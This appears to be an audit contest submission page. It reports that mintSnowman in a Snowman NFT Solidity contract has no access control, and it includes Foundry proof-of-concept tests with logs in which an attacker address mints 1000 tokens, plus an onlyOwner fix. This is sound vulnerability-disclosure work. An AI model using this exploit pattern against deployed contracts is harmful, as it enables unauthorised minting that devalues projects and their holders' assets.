Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Snowman.sol - mintSnowman allows unrestricted minting of NFTs

Unrestricted access to mintSnowman allows unauthorized NFT minting

Description

  • The Snowman NFT contract is intended to only allow the SnowmanAirdrop contract (or an authorized admin) to mint new tokens when a valid claim is processed.

  • However, the mintSnowman function lacks any access control modifiers (such as onlyOwner), allowing any external address to call it and mint an arbitrary number of NFTs to any recipient.

// src/Snowman.sol
// ...
// >>> EXTERNAL FUNCTIONS
function mintSnowman(address receiver, uint256 amount) external { // @> Missing access control (e.g. onlyOwner)
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
// ...

Risk

Likelihood:

  • High: The function is external and has no conditions or requirements, making it publicly callable by anyone at any time.

  • High: No distinct storage state or elaborate setup is required to trigger the exploit; an attacker simply calls the function.Impact:

  • Critical: An attacker can mint an infinite number of Snowman NFTs, completely devaluing the collection.

  • Critical: An attacker could grief the protocol or other users by flooding the contract with tokens or disrupting token identifiers.


Proof of Concept

The following test demonstrates that an external attacker can successfully call mintSnowman without authorization. In this scenario, we retrieve the deployed Snowman contract and simulate a call from an arbitrary attacker address. The test verifies that the attacker's balance increases by the minted amount and that the contract's total supply counter increments accordingly, confirming unrestricted access.

function test_PoC_UnrestrictedMinting() public {
// 1. Get the deployed Snowman contract
Snowman snowman = deployer.run();
uint256 initialSupply = snowman.getTokenCounter();
// 2. Define an attacker address
address attacker = makeAddr("attacker");
uint256 attackAmount = 100;
// 3. Attacker calls mintSnowman directly
vm.prank(attacker);
snowman.mintSnowman(attacker, attackAmount);
// 4. Verify attacker received tokens and supply increased
assertEq(snowman.getTokenCounter(), initialSupply + attackAmount);
assertEq(snowman.balanceOf(attacker), attackAmount);
}

Recommended Mitigation

The mintSnowman function must be restricted so that it can only be called by authorized entities, typically the SnowmanAirdrop contract itself. Since Snowman already inherits from OpenZeppelin's Ownable, applying the onlyOwner modifier is the standard and most effective solution. Please note that for this fix to work correctly, the deployment script must transfer ownership of the Snowman contract to the SnowmanAirdrop contract immediately after deployment.

- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!